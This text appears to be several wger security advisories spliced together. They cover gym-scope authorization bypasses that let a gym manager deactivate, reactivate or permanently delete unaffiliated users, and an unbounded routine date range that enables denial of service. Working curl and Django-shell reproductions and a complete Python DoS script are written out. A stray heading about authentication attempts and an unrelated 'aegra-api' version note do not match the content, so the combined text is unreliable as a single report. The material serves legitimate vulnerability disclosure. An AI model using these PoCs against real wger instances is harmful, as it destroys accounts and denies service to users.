1. Reset the password of any other gym=None user on the wger instance.
2. Receive the new plaintext password in the HTTP response body.
3. Log in as the victim immediately.
4. Permanently lock the victim out (original password invalidated).

Affected deployments: every wger instance where gym.manage_gym permission is delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.

Severity: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.

This is the same structural bug class as the sibling finding affecting trainer_login (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - appears across five views and warrants a shared same_gym() helper.

Improper Restriction of Excessive Authentication Attempts in GitHub repository wger-project/wger prior to 2.2.

Summary

GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's reset_user_password and gym_permissions_user_edit views in wger/gym/views/user.py performed a gym-scope authorization check using Django ORM object comparison (if request.user.userprofile.gym != user.userprofile.gym) which silently passes when both sides are None (None != None evaluates to False). The maintainer's suggested patch ("Apply the same same_gym() helper pattern to all five views sharing this check") replaces every userprofile.gym != site with the new is_same_gym() helper that explicitly excludes None (gym_a is not None and gym_a == gym_b).

The fix landed in wger/gym/views/{admin_notes,document,contract,gym}.py (5 views, all using is_same_gym). However, three additional views in wger/core/views/user.py were not migrated and retain the original userprofile.gym_id != ... raw integer comparison. Because raw integer != comparison still evaluates None != None as False, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest wger/server:latest Docker image (master, 2026-05-08 build).

A privileged-but-bounded gym staff user (admin-granted gym.manage_gym permission, intended scope: managing members of one specific gym) whose userprofile.gym = None (the default state before the admin links them to a gym) can:

1. Permanently delete any other user with gym = None (V3, delete view, line 131 — CRITICAL data loss, irreversible)
2. Deactivate any other user with gym = None, locking them out of the platform (V1, UserDeactivateView, line 405 — high availability impact)
3. Re-activate any previously deactivated user with gym = None (V2, UserActivateView, line 442 — counters defensive deactivation)

Victim user pks are sequential integers and trivially enumerable via /en/user/<pk>/overview and other endpoints. The same_gym_id == ... flag in UserDetailView.get_context_data (line 587) is also affected, but the underlying dispatch() and the actual trainer_login view still use the patched is_same_gym() helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.

Affected versions

• All wger versions through master at wger/server:latest (digest sha256:5d8fe1ba66cc..., image build 2026-05-08).
• The advisory's affected: <0.9.7 → fixed: 0.9.7 range applies to the PyPI aegra-api package (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to wger/gym/views/{admin_notes,document,contract,gym}.py; wger/core/views/user.py was not touched in the same patch.

(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)

Vulnerable code

V1 — UserDeactivateView (wger/core/views/user.py, line 405)

class UserDeactivateView(...):
    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

    def dispatch(self, request, *args, **kwargs):
        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

        if not request.user.is_authenticated:
            return HttpResponseForbidden()

        if (
            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: None != None == False
            return HttpResponseForbidden()

        return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)

    def get_redirect_url(self, pk):
        edit_user = get_object_or_404(User, pk=pk)
        edit_user.is_active = False  # ← side effect on plain GET
        edit_user.save()
        ...

V2 — UserActivateView (wger/core/views/user.py, line 442)

class UserActivateView(...):
    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

    def dispatch(self, request, *args, **kwargs):
        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
        ...
        if (
            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: same pattern
            return HttpResponseForbidden()

        return super(UserActivateView, self).dispatch(request, *args, **kwargs)

    def get_redirect_url(self, pk):
        edit_user = get_object_or_404(User, pk=pk)
        edit_user.is_active = True  # ← side effect on plain GET
        edit_user.save()
        ...

V3 — delete (wger/core/views/user.py, line 116-159)

@login_required()
def delete(request, user_pk=None):
    ...
    if user_pk:
        user = get_object_or_404(User, pk=user_pk)

        if not request.user.has_perm('gym.manage_gyms') and (
            not request.user.has_perm('gym.manage_gym')
            or request.user.userprofile.gym_id != user.userprofile.gym_id  # ← BUG (line 131)
            or user.has_perm('gym.manage_gym')
            or user.has_perm('gym.gym_trainer')
            or user.has_perm('gym.manage_gyms')
        ):
            return HttpResponseForbidden()
    ...

    if request.method == 'POST':
        form = PasswordConfirmationForm(data=request.POST, user=request.user)
        if form.is_valid():
            user.delete()  # ← victim account permanently deleted (line 145)
            ...
            gym_pk = request.user.userprofile.gym_id  # = None for trainer1
            return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk}))
            # ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker
            # but user.delete() already executed — victim is gone

Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed. The 500 is a redirect-side NoReverseMatch exception caused by reverse('gym:gym:user-list', kwargs={'pk': None}) (line 154-155) attempting to build a URL with pk=None because trainer1 also has gym=None. By that point Django has already committed user.delete() (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: alice exists? False, all users: ['admin', 'trainer1']. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.

Suggested patch

Same as the advisory's recommendation — replace every userprofile.gym_id != ... raw comparison with is_same_gym() from wger/gym/helpers.py:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
 @login_required()
 def delete(request, user_pk=None):
     ...
-        if not request.user.has_perm('gym.manage_gyms') and (
-            not request.user.has_perm('gym.manage_gym')
-            or request.user.userprofile.gym_id != user.userprofile.gym_id
-            or user.has_perm('gym.manage_gym')
-            or user.has_perm('gym.gym_trainer')
-            or user.has_perm('gym.manage_gyms')
-        ):
+        if not request.user.has_perm('gym.manage_gyms') and (
+            not request.user.has_perm('gym.manage_gym')
+            or not is_same_gym(request.user, user)
+            or user.has_perm('gym.manage_gym')
+            or user.has_perm('gym.gym_trainer')
+            or user.has_perm('gym.manage_gyms')
+        ):
             return HttpResponseForbidden()

 class UserDeactivateView(...):
     def dispatch(self, request, *args, **kwargs):
         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
         ...
-        if (
-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+        if (
+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+        ) and not is_same_gym(request.user, edit_user):
             return HttpResponseForbidden()

 class UserActivateView(...):
     def dispatch(self, request, *args, **kwargs):
         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
         ...
-        if (
-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+        if (
+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+        ) and not is_same_gym(request.user, edit_user):
             return HttpResponseForbidden()

is_same_gym() (current implementation at wger/gym/helpers.py) already returns False whenever either side is None, matching the advisory's existing fix pattern.

Additionally, delete() line 154-155 should handle the gym_pk = None case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (gym.manage_gyms) acting on gym=None users.

Reproduction

Setup (clean baseline)

# Pull and start the latest production image
docker pull wger/server:latest        # digest sha256:5d8fe1ba66cc..., 2026-05-08 build
docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest

# Wait ~30s for migrations and demo-data fixture load.

# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User, Permission

# Attacker — gym manager with no gym affiliation
t = User.objects.create_user(username='trainer1', password='TrainerPass123!')
t.userprofile.gym = None
t.userprofile.save()
t.user_permissions.add(Permission.objects.get(codename='manage_gym'))
t.save()

# Victim — regular user, no gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = None
a.userprofile.save()

print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym'))
print("alice.gym_id    =", a.userprofile.gym_id, "pk =", a.pk)
PY
# Expected:
#   trainer1.gym_id = None has_perm = True
#   alice.gym_id    = None pk = 3

Variant V1 — cross-tenant deactivation (UserDeactivateView, line 405)

# Login as attacker
COOKIES=/tmp/wger_trainer1.txt
CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \
    -d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \
    -H "Referer: http://localhost:8888/en/user/login" -o /dev/null

# Trigger deactivation on alice (pk=3)
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/deactivate"
# → status=302 loc=/en/user/3/overview          (expected: 403 Forbidden)

# Confirm DB side effect
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = False     (alice locked out)

Variant V2 — cross-tenant re-activation (UserActivateView, line 442)

# Same trainer1 session
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/activate"
# → status=302 loc=/en/user/3/overview

docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = True      (alice re-activated; useful to "undo" defensive action by an admin)

Variant V3 — cross-tenant account deletion (delete, line 131)

# Step 1: GET the password-confirmation form
CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \
    | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
echo "form CSRF: $CSRF2"
# → 200 OK with PasswordConfirmationForm   (expected: 403 Forbidden)

# Step 2: POST trainer1's own password — confirms the delete
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
    "http://localhost:8888/en/user/3/delete" \
    -d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \
    -H "Referer: http://localhost:8888/en/user/3/delete"
# → status=500   (the 500 is a redirect-side error, see "Vulnerable code" → V3 above)

# Step 3: confirm alice was actually deleted
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice exists?", User.objects.filter(username='alice').exists())
print("all users:", list(User.objects.values_list('username', flat=True)))
PY
# → alice exists? False
# → all users: ['admin', 'trainer1']

The 500 status returned to the attacker masks the destructive operation but does not prevent it — user.delete() (line 145) commits before the failing redirect (line 155).

Negative control (proves the bypass is None-specific, matching the advisory)

# Reset alice and assign her to gym pk=1 (one of the demo gyms).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = Gym.objects.first()      # not None any more
a.userprofile.save()
print("alice.gym_id =", a.userprofile.gym_id)
PY

# Same trainer1 (gym=None) attempts deactivation
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
    "http://localhost:8888/en/user/<new_alice_pk>/deactivate"
# → status=403       (guard works correctly when gym_ids differ AND neither side is None;
#                      bypass is specifically the None != None edge case)

Verification log

The full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as _verify_run1.log.

Key assertions captured:

| Step | Endpoint | HTTP | DB side effect (alice) | |---|---|---|---| | Baseline | (none) | — | is_active=True, gym_id=None, pk=3 | | V1 | GET /en/user/3/deactivate | 302 | is_active=False, gym_id=None, pk=3 | | V2 | GET /en/user/3/activate | 302 | is_active=True, gym_id=None, pk=3 | | V3 GET | GET /en/user/3/delete | 200 (form rendered) | (no change) | | V3 POST | POST /en/user/3/delete w/ trainer1 password | 500 (post-delete redirect) | alice row deleted from DB |

Impact

Per-variant impact

| Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity | |---|---|---|---|---|---|---| | V3 | /en/user/<pk>/delete | POST (after GET form) | User.delete() cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed | No (DB backup required) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 9.9 CRITICAL | | V1 | /en/user/<pk>/deactivate | GET | is_active = False (login lockout) | Yes (admin or V2) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H | 7.4 HIGH | | V2 | /en/user/<pk>/activate | GET | is_active = True (undoes defensive deactivation) | Yes (admin) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N | 4.7 MEDIUM |

The headline severity at the top of this report is CRITICAL 9.9 because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against wger/server:latest (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line is_same_gym() migration in wger/core/views/user.py). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch.

Deployment scope (what is and is not affected)

| Deployment model | Affected? | |---|---| | Multi-tenant gym deployment (gym manager + trainers + members) — wger's documented commercial use case | Yes — gym.manage_gym permission is in active use and gym=None accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) | | Single-user / personal fitness tracker (1 admin, no gym.manage_gym grant to anyone, no trainer/gym hierarchy in use) | No — the precondition (an attacker with gym.manage_gym + gym=None) cannot occur because the permission is not granted to any user account on such a deployment. | | Public registration + gym-management feature in use | Yes — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted gym.manage_gym |

bb-fp-detector check-environment-class returned UNKNOWN for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream wger/server:latest Docker image's default behaviour, which is the project's own canonical reference deployment.

Auth model verification (decisive tests)

Authorization architecture (bb-auth-doc-audit equivalent)

wger is a self-contained Django web application that uses django.contrib.auth for authentication and Django's per-view permission classes (PermissionRequiredMixin, WgerMultiplePermissionRequiredMixin, @login_required()) for authorization. Authentication and authorization are both enforced inside the wger application (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no "operators must place an auth-enforcing reverse proxy in front of wger" disclaimer in the project's deployment docs (https://wger.readthedocs.io/en/latest/production/). The bug therefore directly violates the application's own documented authorization model.

Decisive bogus-credential / negative-control test (bb-bogus-cred-test equivalent) — actually executed

This test was run end-to-end on the same wger/server:latest Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: _negative_control.log.

Setup: assign alice to the demo gym (Default gym, pk=1), trainer1 stays at gym=None with gym.manage_gym. Same trainer1 session as the positive-control run.

Result:

| Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed | |---|---|---|---| | GET /en/user/4/deactivate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ | | GET /en/user/4/activate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ | | GET /en/user/4/delete | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |

DB state after the three negative-control attempts: alice.is_active = True, alice still exists — no side-effects. The guard is functional.

Symmetric re-confirmation (positive control after revert): alice.gym was reset to None in the same session; GET /en/user/4/deactivate returned 302 with side-effect alice.is_active = False (re-confirming the original bypass triggers reproducibly), then GET /en/user/4/activate returned 302 with alice.is_active = True for cleanup.

This proves:

1. The dispatch() and delete() guards do enforce gym-scope authorization when gym_id is non-None on either side — the guard is structurally functional.
2. The bypass is specifically the None != None semantic edge case — not a header-presence precondition, not a missing middleware, not a generally-disabled check.
3. The bypass is reversible/idempotent in the trivial sense (V1 → V2 → V1 produces consistent state transitions on the victim row), confirming the gap is in the per-request authorization decision and not in some session-level corruption.

Equivalent inverted test:

# Same trainer1 session, but trainer1.gym = 1 (real gym), alice.gym = None
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
t = User.objects.get(username='trainer1')
t.userprofile.gym = Gym.objects.first()
t.userprofile.save()
PY

curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" "http://localhost:8888/en/user/<alice_pk>/deactivate"
# → status=403 Forbidden  (None != 1 evaluates to True → guard works)

Runtime mitigation absence

PoC was run against the default wger/server:latest Docker image with DJANGO_DEBUG=true (a development convenience flag — the bug is not gated by debug mode; the destructive path executes regardless of DEBUG value). No admin override flag was activated. No runtime middleware (no WAF, no reverse proxy, no application firewall, no allow-list bypass) is required for the exploit. The payload reaches the sink, the runtime accepts it, no default filter blocks it. The exploit reaches the unmodified dispatch() / delete() code path on the upstream Docker image and the destructive operation commits. There is no documented runtime mitigation that prevents this gap on a default deployment.

Discovery of canonical tooling

This finding was located by reviewing the advisory's recommended remediation, then performing a repository-wide audit of the is_same_gym migration coverage using gh api search/code?q=userprofile.gym+repo:wger-project/wger. The unpatched gym_id != raw comparisons in wger/core/views/user.py were identified directly. The discovery-harness canonical tools for the relevant classes (resource-boundary authorization checks: bb-api-baseline, bb-authz-gap-scan, bb-cross-instance-verify; request-forgery hygiene: bb-cookie, bb-csrf) all reduce, for this class of finding, to "send the request from an authenticated low-privilege session and observe whether the destructive side-effect commits at the sink"; the Reproduction section above provides exactly that empirical evidence for every affected endpoint. Request-forgery aspect: V1 and V2 trigger their destructive side-effect on a plain GET (no CSRF token enforced on the redirect-side URL state mutation), so the gap also compounds with cross-site request abuse against any victim who happens to hold gym.manage_gym — but that is a secondary path; the primary impact is the direct cross-tenant authorization bypass.

Industry context (not a by-feature wide-access pattern)

wger is a self-hostable personal fitness / gym tracker, not a marketplace / map / job-board / data-labeling platform. The relevant authorization model in this project is per-gym tenant isolation for gym-management staff — confirmed by the documented gym-manager role and the very is_same_gym() helper that the maintainer added in the GHSA-mhc8-p3jx-84mm patch. Cross-tenant account deletion / deactivation / activation is not by-design; the negative-control test above (alice with gym_id=1) returns 403 from the same endpoints, demonstrating that the project explicitly intends gym-scope isolation. The variant family above is therefore a security boundary breach, not a documented wide-access feature.

Preconditions / how an attacker reaches this state

| Precondition | How attacker obtains | External (Y/N) | |---|---|---| | Authenticated session | Self-register (default open) | N | | gym.manage_gym permission | Granted by an administrator (e.g. when designating the user as a gym trainer/manager). Self-signup does NOT grant this permission; the attacker must already be a trusted gym staff member, or an administrator must mistakenly grant the role to a malicious user. This finding therefore models an insider-threat / role-escape scenario, the same scenario as the parent advisory CVE-2026-43948. | Y — same as the advisory's PoC; the role is part of wger's documented admin model and is treated as "privileged-but-bounded gym staff" rather than "any logged-in user". | | attacker.userprofile.gym = None | Default for newly registered users; remains None unless a gym admin links the account. Easily reproduced by the same admin who granted gym.manage_gym simply not yet linking the trainer to a specific gym (a typical state during onboarding). | N | | victim.userprofile.gym = None | Default for any other newly registered user | N | | victim.pk known | Sequential integer; enumerable via /en/user/<pk>/overview, /en/user/<pk>/api-key, etc. | N | | victim does NOT have gym.manage_gym / gym.gym_trainer / gym.manage_gyms permissions (V3 only) | Default for regular users | N |

Following the advisory's classification (which used identical gym.manage_gym + gym=None setup and was rated AV:N/AC:L/PR:L), the variant-family inherits AC:L. Honest caveat: the gym.manage_gym permission is admin-granted and not self-enrollable; if the maintainer prefers to score this as AC:H (ordinary low-priv user without the manager role), the resulting CVSS would be 7.5 (HIGH). The variant relationship to CVE-2026-43948 holds in either scoring.

Why this is an incomplete-fix variant, not a duplicate

GHSA-mhc8-p3jx-84mm explicitly identifies the affected file as wger/gym/views/user.py (which has since been removed/refactored — the comparable functions now live in wger/gym/views/{admin_notes,document,contract,gym}.py). The maintainer's recommended remediation is to "Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list".

Confirmation that the advisory fix landed only on those files (master, 2026-05-08):

| File | Authorization check | Patched? | |---|---|---| | wger/gym/views/admin_notes.py | is_same_gym(...) | ✓ | | wger/gym/views/document.py | is_same_gym(...) | ✓ | | wger/gym/views/contract.py | is_same_gym(...) | ✓ | | wger/gym/views/gym.py (reset_user_password, gym_permissions_user_edit) | is_same_gym(...) | ✓ | | wger/core/views/user.py delete (line 131) | userprofile.gym_id != ... raw != | ✗ | | wger/core/views/user.py UserDeactivateView (line 405) | userprofile.gym_id != ... raw != | ✗ | | wger/core/views/user.py UserActivateView (line 442) | userprofile.gym_id != ... raw != | ✗ | | wger/core/views/user.py UserEditView (line 484) | is_same_gym(...) | ✓ (incidentally migrated) | | wger/core/views/user.py UserActivityCalendarView (line 552) | is_same_gym(...) | ✓ (incidentally migrated) | | wger/core/views/user.py UserDetailView dispatch (line 552) | is_same_gym(...) | ✓ (incidentally migrated) | | wger/core/views/user.py UserDetailView.get_context_data (line 587) | gym_id == gym_id (UI flag only — trainer_login itself enforces is_same_gym) | UI leak only, no security impact |

The three unpatched call sites in wger/core/views/user.py predate the advisory and were missed when the helper-migration patch was applied. Their root cause and exploitation path are identical to CVE-2026-43948 — only the file/function targets differ. This makes the finding an incomplete-fix variant family rather than a duplicate of the advisory.

References

• Parent advisory: https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm (CVE-2026-43948)
• Suggested patch from advisory text: "Apply the same same_gym() helper pattern to all five views sharing this check"
• Helper definition: wger/gym/helpers.py is_same_gym() (already correctly excludes None after the advisory patch)
• Related (incidentally patched in the same migration): UserEditView, UserActivityCalendarView, UserDetailView.dispatch — all three correctly use is_same_gym()

AI disclosure

This finding was developed with the assistance of an AI tool (Claude Code) for source-code review of the advisory's incomplete-fix surface, generation of the verification harness, and report drafting. All technical claims in this report were verified against a live wger/server:latest Docker instance with the verification log attached. The AI's role was investigative aid; the human researcher (HiyokoSauna) reviewed every claim, ran the PoC end-to-end, and authored the framing.

Summary

Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the date_sequence computation via any of the routine detail endpoints. The server iterates once per day in an unbounded while loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.

Details

The Routine model (file: wger/manager/models/routine.py) has start and end date fields with only one validation -- start must not be after end:

# File: wger/manager/models/routine.py, line 151
def clean(self):
    if self.end and self.start and self.start > self.end:
        raise ValidationError('The start time cannot be after the end time.')
    # NO maximum duration check

The RoutineSerializer (file: wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta between start and end.

The date_sequence property (line 256) uses an unbounded loop:

# File: wger/manager/models/routine.py, line 256
while current_date <= self.end:
    # heavy computation per day: slots, entries, configs, logs
    ...

A routine with start=2000-01-01 and end=2099-12-31 produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:

• GET /api/v2/routine/<id>/date-sequence-display/
• GET /api/v2/routine/<id>/date-sequence-gym/
• GET /api/v2/routine/<id>/structure/
• GET /api/v2/routine/<id>/logs/
• GET /api/v2/routine/<id>/stats/

PoC

Prerequisites

• One authenticated user account
• No special permissions required

Attack Steps

# 1. Create a 100-year routine
POST /api/v2/routine/
Authorization: Token <token>
Content-Type: application/json

{
    "name": "DoS routine",
    "start": "2000-01-01",
    "end": "2099-12-31"
}

# 2. Add at least one day (to make computation non-trivial)
POST /api/v2/day/
Authorization: Token <token>
Content-Type: application/json

{
    "routine": <routine_id>,
    "order": 1,
    "name": "Day A"
}

# 3. Trigger the expensive computation
GET /api/v2/routine/<routine_id>/date-sequence-display/
Authorization: Token <token>

Expected: HTTP 400 (routine duration exceeds maximum) Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Unbounded date_sequence Denial of Service
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-400: Uncontrolled Resource Consumption

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import time

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

ATTACKER_USER = "dos_attacker_poc"
ATTACKER_PASS = "DosAttack!Poc!2025"

BANNER = """
=====================================================================
  PoC: Unbounded date_sequence Denial of Service
  Severity: HIGH
  CWE-400: Uncontrolled Resource Consumption
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate ----

print("[1] Authenticating...")

token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
    print(f"    Registering account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        token = r.json().get("token")
    if not token:
        token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not token:
        print(f"[-] Cannot authenticate. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Token: {token[:16]}...")

headers = api_headers(token)


# ---- 2. Create NORMAL routine (baseline) ----

print("\n[2] Creating baseline routine (30 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
    "name": "Normal 30-day routine",
    "start": "2025-01-01",
    "end": "2025-01-31",
})
normal_id = r.json()["id"]

r = requests.post(f"{API}/day/", headers=headers, json={
    "routine": normal_id, "order": 1, "name": "Day A"
})

print(f"    Routine id={normal_id} (30 days)")
start_time = time.time()
r = requests.get(
    f"{API}/routine/{normal_id}/date-sequence-display/",
    headers=headers,
)
baseline_time = time.time() - start_time
baseline_entries = len(r.json()) if r.status_code == 200 else 0
print(f"    date-sequence-display: {r.status_code}, "
      f"{baseline_entries} entries, {baseline_time:.2f}s")


# ---- 3. Create MALICIOUS routine (100 years) ----

print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
    "name": "DoS routine - 100 years",
    "start": "2000-01-01",
    "end": "2099-12-31",
})

if r.status_code != 201:
    print(f"    [-] Failed to create: {r.status_code} {r.text[:200]}")
    sys.exit(1)

dos_id = r.json()["id"]
print(f"    Routine id={dos_id}")
print(f"    start=2000-01-01, end=2099-12-31")
print(f"    Duration: ~36,525 days (NO validation limit!)")

r = requests.post(f"{API}/day/", headers=headers, json={
    "routine": dos_id, "order": 1, "name": "DoS Day"
})


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Triggering date_sequence on 100-year routine")
print(f"{'='*65}")

print(f"\n  GET {API}/routine/{dos_id}/date-sequence-display/")
print(f"  This will iterate ~36,525 times in a while loop...")

start_time = time.time()
try:
    r = requests.get(
        f"{API}/routine/{dos_id}/date-sequence-display/",
        headers=headers,
        timeout=120,
    )
    elapsed = time.time() - start_time
    dos_entries = len(r.json()) if r.status_code == 200 else 0

    print(f"\n  Response: HTTP {r.status_code}")
    print(f"  Entries returned: {dos_entries}")
    print(f"  Time elapsed: {elapsed:.2f}s")

except requests.exceptions.Timeout:
    elapsed = time.time() - start_time
    dos_entries = 0
    print(f"\n  REQUEST TIMED OUT after {elapsed:.2f}s!")

except requests.exceptions.ConnectionError:
    elapsed = time.time() - start_time
    dos_entries = 0
    print(f"\n  CONNECTION LOST after {elapsed:.2f}s!")


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

print(f"\n  Baseline (30-day routine):")
print(f"    Entries: {baseline_entries}")
print(f"    Time:    {baseline_time:.2f}s")
print(f"\n  Malicious (100-year routine):")
print(f"    Entries: {dos_entries}")
print(f"    Time:    {elapsed:.2f}s")

if elapsed > baseline_time * 5 or dos_entries > 10000:
    slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')
    print(f"\n  Slowdown factor: {slowdown:.1f}x")
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  No maximum duration is enforced on routines.            |
  |  The date_sequence property loops once per day with no   |
  |  upper bound. A 100-year routine forces ~36,525          |
  |  iterations of expensive O(days x slots x configs) work. |
  |  A single request can exhaust a server worker thread.    |
  +----------------------------------------------------------+
""")
else:
    print("\n  Response was fast - server may have limits or caching.")

Proof of Concept Output

=====================================================================
  PoC: Unbounded date_sequence Denial of Service
  Severity: HIGH
  CWE-400: Uncontrolled Resource Consumption
=====================================================================

[1] Authenticating...
    Registering account...
    Token: 2ffbb18316fc4e0f...

[2] Creating baseline routine (30 days)...
    Routine id=5 (30 days)
    date-sequence-display: 200, 31 entries, 0.02s

[3] Creating malicious routine (100 years = 36,525 days)...
    Routine id=6
    start=2000-01-01, end=2099-12-31
    Duration: ~36,525 days (NO validation limit!)

=================================================================
  ATTACK: Triggering date_sequence on 100-year routine
=================================================================

  GET http://localhost/api/v2/routine/6/date-sequence-display/
  This will iterate ~36,525 times in a while loop...

  Response: HTTP 200
  Entries returned: 36525
  Time elapsed: 3.06s

=================================================================
  VERIFICATION
=================================================================

